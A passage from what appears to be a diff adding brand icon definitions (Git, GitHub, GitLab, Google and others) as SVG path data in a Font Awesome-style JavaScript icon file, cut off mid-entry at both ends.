8.1-30.93 8.66-35.47.96-4.57-7.74 3.6-21.05 18.32-30.66-8.68-11.77-18.98-22.3-30.56-31.09-9.51 15.59-23.36 24.44-31.36 19.82-8.05-4.65-7.19-21.16 1.71-37.29a147.49 147.49 0 0 0-27.45-9.08zm-32.48 8.6c-3.23 0-5.86 8.81-6.09 19.93h-.05v16.88c0 41.42-49.01 95.04-93.49 95.04-52 0-122.75-1.45-156.37 29.17v2.51c9.42 17.12 20.58 33.17 33.18 47.97C45.7 380.26 84.77 360.4 141.2 360c45.68 1.02 79.03 20.33 90.76 40.87.01.01-.01.04 0 .05 7.67 2.14 15.85 3.23 24.04 3.21 8.19.02 16.37-1.07 24.04-3.21.01-.01-.01-.04 0-.05 11.74-20.54 45.08-39.85 90.76-40.87 56.43.39 95.49 20.26 108.02 41.35 12.6-14.8 23.76-30.86 33.18-47.97v-2.51c-33.61-30.62-104.37-29.17-156.37-29.17-44.48 0-93.49-53.62-93.49-95.04v-16.88h-.05c-.23-11.12-2.86-19.93-6.09-19.93zm0 96.59c22.42 0 40.6 18.18 40.6 40.6s-18.18 40.65-40.6 40.65-40.6-18.23-40.6-40.65c0-22.42 18.18-40.6 40.6-40.6zm0 7.64c-18.19 0-32.96 14.77-32.96 32.96S237.81 360 256 360s32.96-14.77 32.96-32.96-14.77-32.96-32.96-32.96zm0 6.14c14.81 0 26.82 12.01 26.82 26.82s-12.01 26.82-26.82 26.82-26.82-12.01-26.82-26.82 12.01-26.82 26.82-26.82zm-114.8 66.67c-10.19.07-21.6.36-30.5 1.66.43 4.42 1.51 18.63 7.11 29.76 9.11-2.56 18.36-3.9 27.62-3.9 41.28.94 71.48 34.35 78.26 74.47l.11 4.7c10.4 1.91 21.19 2.94 32.21 2.94 11.03 0 21.81-1.02 32.21-2.94l.11-4.7c6.78-40.12 36.98-73.53 78.26-74.47 9.26 0 18.51 1.34 27.62 3.9 5.6-11.13 6.68-25.34 7.11-29.76-8.9-1.3-20.32-1.58-30.5-1.66-18.76.42-35.19 4.17-48.61 9.67-12.54 16.03-29.16 30.03-49.58 33.07-.09.02-.17.04-.27.05-.05.01-.11.04-.16.05-5.24 1.07-10.63 1.6-16.19 1.6-5.55 0-10.95-.53-16.19-1.6-.05-.01-.11-.04-.16-.05-.1-.02-.17-.04-.27-.05-20.42-3.03-37.03-17.04-49.58-33.07-13.42-5.49-29.86-9.25-48.61-9.67z"], + "get-pocket": [448, 512, [], "f265", "M407.6 64h-367C18.5 64 0 82.5 0 104.6v135.2C0 364.5 99.7 464 224.2 464c124 0 223.8-99.5 223.8-224.2V104.6c0-22.4-17.7-40.6-40.4-40.6zm-162 268.5c-12.4 11.8-31.4 11.1-42.4 0C89.5 223.6 88.3 227.4 88.3 209.3c0-16.9 13.8-30.7 30.7-30.7 17 0 16.1 3.8 105.2 89.3 90.6-86.9 88.6-89.3 105.5-89.3 16.9 0 30.7 13.8 30.7 30.7 0 17.8-2.9 15.7-114.8 123.2z"], + "gg": [512, 512, [], "f260", "M179.2 230.4l102.4 102.4-102.4 102.4L0 256 179.2 76.8l44.8 44.8-25.6 25.6-19.2-19.2-128 128 128 128 51.5-51.5-77.1-76.5 25.6-25.6zM332.8 76.8L230.4 179.2l102.4 102.4 25.6-25.6-77.1-76.5 51.5-51.5 128 128-128 128-19.2-19.2-25.6 25.6 44.8 44.8L512 256 332.8 76.8z"], + "gg-circle": [512, 512, [], "f261", "M257 8C120 8 9 119 9 256s111 248 248 248 248-111 248-248S394 8 257 8zm-49.5 374.8L81.8 257.1l125.7-125.7 35.2 35.4-24.2 24.2-11.1-11.1-77.2 77.2 77.2 77.2 26.6-26.6-53.1-52.9 24.4-24.4 77.2 77.2-75 75.2zm99-2.2l-35.2-35.2 24.1-24.4 11.1 11.1 77.2-77.2-77.2-77.2-26.5 26.5 53.1 52.9-24.4 24.4-77.2-77.2 75-75L432.2 255 306.5 380.6z"], + "git": [512, 512, [], "f1d3", "M216.29 158.39H137C97 147.9 6.51 150.63 6.51 233.18c0 30.09 15 51.23 35 61-25.1 23-37 33.85-37 49.21 0 11 4.47 21.14 17.89 26.81C8.13 383.61 0 393.35 0 411.65c0 32.11 28.05 50.82 101.63 50.82 70.75 0 111.79-26.42 111.79-73.18 0-58.66-45.16-56.5-151.63-63l13.43-21.55c27.27 7.58 118.7 10 118.7-67.89 0-18.7-7.73-31.71-15-41.07l37.41-2.84zm-63.42 241.9c0 32.06-104.89 32.1-104.89 2.43 0-8.14 5.27-15 10.57-21.54 77.71 5.3 94.32 3.37 94.32 19.11zm-50.81-134.58c-52.8 0-50.46-71.16 1.2-71.16 49.54 0 50.82 71.16-1.2 71.16zm133.3 100.51v-32.1c26.75-3.66 27.24-2 27.24-11V203.61c0-8.5-2.05-7.38-27.24-16.26l4.47-32.92H324v168.71c0 6.51.4 7.32 6.51 8.14l20.73 2.84v32.1zm52.45-244.31c-23.17 0-36.59-13.43-36.59-36.61s13.42-35.77 36.59-35.77c23.58 0 37 12.62 37 35.77s-13.42 36.61-37 36.61zM512 350.46c-17.49 8.53-43.1 16.26-66.28 16.26-48.38 0-66.67-19.5-66.67-65.46V194.75c0-5.42 1.05-4.06-31.71-4.06V154.5c35.78-4.07 50-22 54.47-66.27h38.63c0 65.83-1.34 61.81 3.26 61.81H501v40.65h-60.56v97.15c0 6.92-4.92 51.41 60.57 26.84z"], + "git-alt": [448, 512, [], "f841", "M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"], + "git-square": [448, 512, [], "f1d2", "M100.59 334.24c48.57 3.31 58.95 2.11 58.95 11.94 0 20-65.55 20.06-65.55 1.52.01-5.09 3.29-9.4 6.6-13.46zm27.95-116.64c-32.29 0-33.75 44.47-.75 44.47 32.51 0 31.71-44.47.75-44.47zM448 80v352a48 48 0 0 1-48 48H48a48 48 0 0 1-48-48V80a48 48 0 0 1 48-48h352a48 48 0 0 1 48 48zm-227 69.31c0 14.49 8.38 22.88 22.86 22.88 14.74 0 23.13-8.39 23.13-22.88S258.62 127 243.88 127c-14.48 0-22.88 7.84-22.88 22.31zM199.18 195h-49.55c-25-6.55-81.56-4.85-81.56 46.75 0 18.8 9.4 32 21.85 38.11C74.23 294.23 66.8 301 66.8 310.6c0 6.87 2.79 13.22 11.18 16.76-8.9 8.4-14 14.48-14 25.92C64 373.35 81.53 385 127.52 385c44.22 0 69.87-16.51 69.87-45.73 0-36.67-28.23-35.32-94.77-39.38l8.38-13.43c17 4.74 74.19 6.23 74.19-42.43 0-11.69-4.83-19.82-9.4-25.67l23.38-1.78zm84.34 109.84l-13-1.78c-3.82-.51-4.07-1-4.07-5.09V192.52h-52.6l-2.79 20.57c15.75 5.55 17 4.86 17 10.17V298c0 5.62-.31 4.58-17 6.87v20.06h72.42zM384 315l-6.87-22.37c-40.93 15.37-37.85-12.41-37.85-16.73v-60.72h37.85v-25.41h-35.82c-2.87 0-2 2.52-2-38.63h-24.18c-2.79 27.7-11.68 38.88-34 41.42v22.62c20.47 0 19.82-.85 19.82 2.54v66.57c0 28.72 11.43 40.91 41.67 40.91 14.45 0 30.45-4.83 41.38-10.2z"], + "github": [496, 512, [], "f09b", "M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"], + "github-alt": [480, 512, [], "f113", "M186.1 328.7c0 20.9-10.9 55.1-36.7 55.1s-36.7-34.2-36.7-55.1 10.9-55.1 36.7-55.1 36.7 34.2 36.7 55.1zM480 278.2c0 31.9-3.2 65.7-17.5 95-37.9 76.6-142.1 74.8-216.7 74.8-75.8 0-186.2 2.7-225.6-74.8-14.6-29-20.2-63.1-20.2-95 0-41.9 13.9-81.5 41.5-113.6-5.2-15.8-7.7-32.4-7.7-48.8 0-21.5 4.9-32.3 14.6-51.8 45.3 0 74.3 9 108.8 36 29-6.9 58.8-10 88.7-10 27 0 54.2 2.9 80.4 9.2 34-26.7 63-35.2 107.8-35.2 9.8 19.5 14.6 30.3 14.6 51.8 0 16.4-2.6 32.7-7.7 48.2 27.5 32.4 39 72.3 39 114.2zm-64.3 50.5c0-43.9-26.7-82.6-73.5-82.6-18.9 0-37 3.4-56 6-14.9 2.3-29.8 3.2-45.1 3.2-15.2 0-30.1-.9-45.1-3.2-18.7-2.6-37-6-56-6-46.8 0-73.5 38.7-73.5 82.6 0 87.8 80.4 101.3 150.4 101.3h48.2c70.3 0 150.6-13.4 150.6-101.3zm-82.6-55.1c-25.8 0-36.7 34.2-36.7 55.1s10.9 55.1 36.7 55.1 36.7-34.2 36.7-55.1-10.9-55.1-36.7-55.1z"], + "github-square": [448, 512, [], "f092", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM277.3 415.7c-8.4 1.5-11.5-3.7-11.5-8 0-5.4.2-33 .2-55.3 0-15.6-5.2-25.5-11.3-30.7 37-4.1 76-9.2 76-73.1 0-18.2-6.5-27.3-17.1-39 1.7-4.3 7.4-22-1.7-45-13.9-4.3-45.7 17.9-45.7 17.9-13.2-3.7-27.5-5.6-41.6-5.6-14.1 0-28.4 1.9-41.6 5.6 0 0-31.8-22.2-45.7-17.9-9.1 22.9-3.5 40.6-1.7 45-10.6 11.7-15.6 20.8-15.6 39 0 63.6 37.3 69 74.3 73.1-4.8 4.3-9.1 11.7-10.6 22.3-9.5 4.3-33.8 11.7-48.3-13.9-9.1-15.8-25.5-17.1-25.5-17.1-16.2-.2-1.1 10.2-1.1 10.2 10.8 5 18.4 24.2 18.4 24.2 9.7 29.7 56.1 19.7 56.1 19.7 0 13.9.2 36.5.2 40.6 0 4.3-3 9.5-11.5 8-66-22.1-112.2-84.9-112.2-158.3 0-91.8 70.2-161.5 162-161.5S388 165.6 388 257.4c.1 73.4-44.7 136.3-110.7 158.3zm-98.1-61.1c-1.9.4-3.7-.4-3.9-1.7-.2-1.5 1.1-2.8 3-3.2 1.9-.2 3.7.6 3.9 1.9.3 1.3-1 2.6-3 3zm-9.5-.9c0 1.3-1.5 2.4-3.5 2.4-2.2.2-3.7-.9-3.7-2.4 0-1.3 1.5-2.4 3.5-2.4 1.9-.2 3.7.9 3.7 2.4zm-13.7-1.1c-.4 1.3-2.4 1.9-4.1 1.3-1.9-.4-3.2-1.9-2.8-3.2.4-1.3 2.4-1.9 4.1-1.5 2 .6 3.3 2.1 2.8 3.4zm-12.3-5.4c-.9 1.1-2.8.9-4.3-.6-1.5-1.3-1.9-3.2-.9-4.1.9-1.1 2.8-.9 4.3.6 1.3 1.3 1.8 3.3.9 4.1zm-9.1-9.1c-.9.6-2.6 0-3.7-1.5s-1.1-3.2 0-3.9c1.1-.9 2.8-.2 3.7 1.3 1.1 1.5 1.1 3.3 0 4.1zm-6.5-9.7c-.9.9-2.4.4-3.5-.6-1.1-1.3-1.3-2.8-.4-3.5.9-.9 2.4-.4 3.5.6 1.1 1.3 1.3 2.8.4 3.5zm-6.7-7.4c-.4.9-1.7 1.1-2.8.4-1.3-.6-1.9-1.7-1.5-2.6.4-.6 1.5-.9 2.8-.4 1.3.7 1.9 1.8 1.5 2.6z"], + "gitkraken": [592, 512, [], "f3a6", "M565.7 118.1c-2.3-6.1-9.3-9.2-15.3-6.6-5.7 2.4-8.5 8.9-6.3 14.6 10.9 29 16.9 60.5 16.9 93.3 0 134.6-100.3 245.7-230.2 262.7V358.4c7.9-1.5 15.5-3.6 23-6.2v104c106.7-25.9 185.9-122.1 185.9-236.8 0-91.8-50.8-171.8-125.8-213.3-5.7-3.2-13-.9-15.9 5-2.7 5.5-.6 12.2 4.7 15.1 67.9 37.6 113.9 110 113.9 193.2 0 93.3-57.9 173.1-139.8 205.4v-92.2c14.2-4.5 24.9-17.7 24.9-33.5 0-13.1-6.8-24.4-17.3-30.5 8.3-79.5 44.5-58.6 44.5-83.9V170c0-38-87.9-161.8-129-164.7-2.5-.2-5-.2-7.6 0C251.1 8.3 163.2 132 163.2 170v14.8c0 25.3 36.3 4.3 44.5 83.9-10.6 6.1-17.3 17.4-17.3 30.5 0 15.8 10.6 29 24.8 33.5v92.2c-81.9-32.2-139.8-112-139.8-205.4 0-83.1 46-155.5 113.9-193.2 5.4-3 7.4-9.6 4.7-15.1-2.9-5.9-10.1-8.2-15.9-5-75 41.5-125.8 121.5-125.8 213.3 0 114.7 79.2 210.8 185.9 236.8v-104c7.6 2.5 15.1 4.6 23 6.2v123.7C131.4 465.2 31 354.1 31 219.5c0-32.8 6-64.3 16.9-93.3 2.2-5.8-.6-12.2-6.3-14.6-6-2.6-13 .4-15.3 6.6C14.5 149.7 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584 219.5c0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5c13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-23.7-23.7 0-13.1 10.6-23.7 23.7-23.7zm-139.8 47.3c-13.2 0-23.7-10.7-23.7-23.7s10.5-23.7 23.7-23.7c13.1 0 23.7 10.6 23.7 23.7 0 13-10.5 23.7-23.7 23.7z"], + "gitlab": [512, 512, [], "f296", "M105.2 24.9c-3.1-8.9-15.7-8.9-18.9 0L29.8 199.7h132c-.1 0-56.6-174.8-56.6-174.8zM.9 287.7c-2.6 8 .3 16.9 7.1 22l247.9 184-226.2-294zm160.8-88l94.3 294 94.3-294zm349.4 88l-28.8-88-226.3 294 247.9-184c6.9-5.1 9.7-14 7.2-22zM425.7 24.9c-3.1-8.9-15.7-8.9-18.9 0l-56.6 174.8h132z"], + "gitter": [384, 512, [], "f426", "M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z"], + "glide": [448, 512, [], "f2a5", "M252.8 148.6c0 8.8-1.6 17.7-3.4 26.4-5.8 27.8-11.6 55.8-17.3 83.6-1.4 6.3-8.3 4.9-13.7 4.9-23.8 0-30.5-26-30.5-45.5 0-29.3 11.2-68.1 38.5-83.1 4.3-2.5 9.2-4.2 14.1-4.2 11.4 0 12.3 8.3 12.3 17.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 187c0-5.1-20.8-37.7-25.5-39.5-2.2-.9-7.2-2.3-9.6-2.3-23.1 0-38.7 10.5-58.2 21.5l-.5-.5c4.3-29.4 14.6-57.2 14.6-87.4 0-44.6-23.8-62.7-67.5-62.7-71.7 0-108 70.8-108 123.5 0 54.7 32 85 86.3 85 7.5 0 6.9-.6 6.9 2.3-10.5 80.3-56.5 82.9-56.5 58.9 0-24.4 28-36.5 28.3-38-.2-7.6-29.3-17.2-36.7-17.2-21.1 0-32.7 33-32.7 50.6 0 32.3 20.4 54.7 53.3 54.7 48.2 0 83.4-49.7 94.3-91.7 9.4-37.7 7-39.4 12.3-42.1 20-10.1 35.8-16.8 58.4-16.8 11.1 0 19 2.3 36.7 5.2 1.8.1 4.1-1.7 4.1-3.5z"], + "glide-g": [448, 512, [], "f2a6", "M407.1 211.2c-3.5-1.4-11.6-3.8-15.4-3.8-37.1 0-62.2 16.8-93.5 34.5l-.9-.9c7-47.3 23.5-91.9 23.5-140.4C320.8 29.1 282.6 0 212.4 0 97.3 0 39 113.7 39 198.4 39 286.3 90.3 335 177.6 335c12 0 11-1 11 3.8-16.9 128.9-90.8 133.1-90.8 94.6 0-39.2 45-58.6 45.5-61-.3-12.2-47-27.6-58.9-27.6-33.9.1-52.4 51.2-52.4 79.3C32 476 64.8 512 117.5 512c77.4 0 134-77.8 151.4-145.4 15.1-60.5 11.2-63.3 19.7-67.6 32.2-16.2 57.5-27 93.8-27 17.8 0 30.5 3.7 58.9 8.4 2.9 0 6.7-2.9 6.7-5.8 0-8-33.4-60.5-40.9-63.4zm-175.3-84.4c-9.3 44.7-18.6 89.6-27.8 134.3-2.3 10.2-13.3 7.8-22 7.8-38.3 0-49-41.8-49-73.1 0-47 18-109.3 61.8-133.4 7-4.1 14.8-6.7 22.6-6.7 18.6 0 20 13.3 20 28.7-.1 14.3-2.7 28.5-5.6 42.4z"], + "gofore": [400, 512, [], "f3a7", "M324 319.8h-13.2v34.7c-24.5 23.1-56.3 35.8-89.9 35.8-73.2 0-132.4-60.2-132.4-134.4 0-74.1 59.2-134.4 132.4-134.4 35.3 0 68.6 14 93.6 39.4l62.3-63.3C335 55.3 279.7 32 220.7 32 98 32 0 132.6 0 256c0 122.5 97 224 220.7 224 63.2 0 124.5-26.2 171-82.5-2-27.6-13.4-77.7-67.7-77.7zm-12.1-112.5H205.6v89H324c33.5 0 60.5 15.1 76 41.8v-30.6c0-65.2-40.4-100.2-88.1-100.2z"], + "goodreads": [448, 512, [], "f3a8", "M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z"], + "goodreads-g": [384, 512, [], "f3a9", "M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z"], + "google": [488, 512, [], "f1a0", "M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z"], + "google-drive": [512, 512, [], "f3aa", "M339 314.9L175.4 32h161.2l163.6 282.9H339zm-137.5 23.6L120.9 480h310.5L512 338.5H201.5zM154.1 67.4L0 338.5 80.6 480 237 208.8 154.1 67.4z"], + "google-pay": [640, 512, [], "e079", "M105.72,215v41.25h57.1a49.66,49.66,0,0,1-21.14,32.6c-9.54,6.55-21.72,10.28-36,10.28-27.6,0-50.93-18.91-59.3-44.22a65.61,65.61,0,0,1,0-41l0,0c8.37-25.46,31.7-44.37,59.3-44.37a56.43,56.43,0,0,1,40.51,16.08L176.47,155a101.24,101.24,0,0,0-70.75-27.84,105.55,105.55,0,0,0-94.38,59.11,107.64,107.64,0,0,0,0,96.18v.15a105.41,105.41,0,0,0,94.38,59c28.47,0,52.55-9.53,70-25.91,20-18.61,31.41-46.15,31.41-78.91A133.76,133.76,0,0,0,205.38,215Zm389.41-4c-10.13-9.38-23.93-14.14-41.39-14.14-22.46,0-39.34,8.34-50.5,24.86l20.85,13.26q11.45-17,31.26-17a34.05,34.05,0,0,1,22.75,8.79A28.14,28.14,0,0,1,487.79,248v5.51c-9.1-5.07-20.55-7.75-34.64-7.75-16.44,0-29.65,3.88-39.49,11.77s-14.82,18.31-14.82,31.56a39.74,39.74,0,0,0,13.94,31.27c9.25,8.34,21,12.51,34.79,12.51,16.29,0,29.21-7.3,39-21.89h1v17.72h22.61V250C510.25,233.45,505.26,220.34,495.13,211ZM475.9,300.3a37.32,37.32,0,0,1-26.57,11.16A28.61,28.61,0,0,1,431,305.21a19.41,19.41,0,0,1-7.77-15.63c0-7,3.22-12.81,9.54-17.42s14.53-7,24.07-7C470,265,480.3,268,487.64,273.94,487.64,284.07,483.68,292.85,475.9,300.3Zm-93.65-142A55.71,55.71,0,0,0,341.74,142H279.07V328.74H302.7V253.1h39c16,0,29.5-5.36,40.51-15.93.88-.89,1.76-1.79,2.65-2.68A54.45,54.45,0,0,0,382.25,158.26Zm-16.58,62.23a30.65,30.65,0,0,1-23.34,9.68H302.7V165h39.63a32,32,0,0,1,22.6,9.23A33.18,33.18,0,0,1,365.67,220.49ZM614.31,201,577.77,292.7h-.45L539.9,201H514.21L566,320.55l-29.35,64.32H561L640,201Z"], + "google-play": [512, 512, [], "f3ab", "M325.3 234.3L104.6 13l280.8 161.2-60.1 60.1zM47 0C34 6.8 25.3 19.2 25.3 35.3v441.3c0 16.1 8.7 28.5 21.7 35.3l256.6-256L47 0zm425.2 225.6l-58.9-34.1-65.7 64.5 65.7 64.5 60.1-34.1c18-14.3 18-46.5-1.2-60.8zM104.6 499l280.8-161.2-60.1-60.1L104.6 499z"], + "google-plus": [512, 512, [], "f2b3", "M256,8C119.1,8,8,119.1,8,256S119.1,504,256,504,504,392.9,504,256,392.9,8,256,8ZM185.3,380a124,124,0,0,1,0-248c31.3,0,60.1,11,83,32.3l-33.6,32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9,0-77.2,35.5-77.2,78.1S142.3,334,185.3,334c32.6,0,64.9-19.1,70.1-53.3H185.3V238.1H302.2a109.2,109.2,0,0,1,1.9,20.7c0,70.8-47.5,121.2-118.8,121.2ZM415.5,273.8v35.5H380V273.8H344.5V238.3H380V202.8h35.5v35.5h35.2v35.5Z"], + "google-plus-g": [640, 512, [], "f0d5", "M386.061 228.496c1.834 9.692 3.143 19.384 3.143 31.956C389.204 370.205 315.599 448 204.8 448c-106.084 0-192-85.915-192-192s85.916-192 192-192c51.864 0 95.083 18.859 128.611 50.292l-52.126 50.03c-14.145-13.621-39.028-29.599-76.485-29.599-65.484 0-118.92 54.221-118.92 121.277 0 67.056 53.436 121.277 118.92 121.277 75.961 0 104.513-54.745 108.965-82.773H204.8v-66.009h181.261zm185.406 6.437V179.2h-56.001v55.733h-55.733v56.001h55.733v55.733h56.001v-55.733H627.2v-56.001h-55.733z"], + "google-plus-square": [448, 512, [], "f0d4", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM164 356c-55.3 0-100-44.7-100-100s44.7-100 100-100c27 0 49.5 9.8 67 26.2l-27.1 26.1c-7.4-7.1-20.3-15.4-39.8-15.4-34.1 0-61.9 28.2-61.9 63.2 0 34.9 27.8 63.2 61.9 63.2 39.6 0 54.4-28.5 56.8-43.1H164v-34.4h94.4c1 5 1.6 10.1 1.6 16.6 0 57.1-38.3 97.6-96 97.6zm220-81.8h-29v29h-29.2v-29h-29V245h29v-29H355v29h29v29.2z"], + "google-wallet": [448, 512, [], "f1ee", "M156.8 126.8c37.6 60.6 64.2 113.1 84.3 162.5-8.3 33.8-18.8 66.5-31.3 98.3-13.2-52.3-26.5-101.3-56-148.5 6.5-36.4 2.3-73.6 3-112.3zM109.3 200H16.1c-6.5 0-10.5 7.5-6.5 12.7C51.8 267 81.3 330.5 101.3 400h103.5c-16.2-69.7-38.7-133.7-82.5-193.5-3-4-8-6.5-13-6.5zm47.8-88c68.5 108 130 234.5 138.2 368H409c-12-138-68.4-265-143.2-368H157.1zm251.8-68.5c-1.8-6.8-8.2-11.5-15.2-11.5h-88.3c-5.3 0-9 5-7.8 10.3 13.2 46.5 22.3 95.5 26.5 146 48.2 86.2 79.7 178.3 90.6 270.8 15.8-60.5 25.3-133.5 25.3-203 0-73.6-12.1-145.1-31.1-212.6z"], + "gratipay": [496, 512, [], "f184", "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm114.6 226.4l-113 152.7-112.7-152.7c-8.7-11.9-19.1-50.4 13.6-72 28.1-18.1 54.6-4.2 68.5 11.9 15.9 17.9 46.6 16.9 61.7 0 13.9-16.1 40.4-30 68.1-11.9 32.9 21.6 22.6 60 13.8 72z"], + "grav": [512, 512, [], "f2d6", "M301.1 212c4.4 4.4 4.4 11.9 0 16.3l-9.7 9.7c-4.4 4.7-11.9 4.7-16.6 0l-10.5-10.5c-4.4-4.7-4.4-11.9 0-16.6l9.7-9.7c4.4-4.4 11.9-4.4 16.6 0l10.5 10.8zm-30.2-19.7c3-3 3-7.8 0-10.5-2.8-3-7.5-3-10.5 0-2.8 2.8-2.8 7.5 0 10.5 3.1 2.8 7.8 2.8 10.5 0zm-26 5.3c-3 2.8-3 7.5 0 10.2 2.8 3 7.5 3 10.5 0 2.8-2.8 2.8-7.5 0-10.2-3-3-7.7-3-10.5 0zm72.5-13.3c-19.9-14.4-33.8-43.2-11.9-68.1 21.6-24.9 40.7-17.2 59.8.8 11.9 11.3 29.3 24.9 17.2 48.2-12.5 23.5-45.1 33.2-65.1 19.1zm47.7-44.5c-8.9-10-23.3 6.9-15.5 16.1 7.4 9 32.1 2.4 15.5-16.1zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-66.2 42.6c2.5-16.1-20.2-16.6-25.2-25.7-13.6-24.1-27.7-36.8-54.5-30.4 11.6-8 23.5-6.1 23.5-6.1.3-6.4 0-13-9.4-24.9 3.9-12.5.3-22.4.3-22.4 15.5-8.6 26.8-24.4 29.1-43.2 3.6-31-18.8-59.2-49.8-62.8-22.1-2.5-43.7 7.7-54.3 25.7-23.2 40.1 1.4 70.9 22.4 81.4-14.4-1.4-34.3-11.9-40.1-34.3-6.6-25.7 2.8-49.8 8.9-61.4 0 0-4.4-5.8-8-8.9 0 0-13.8 0-24.6 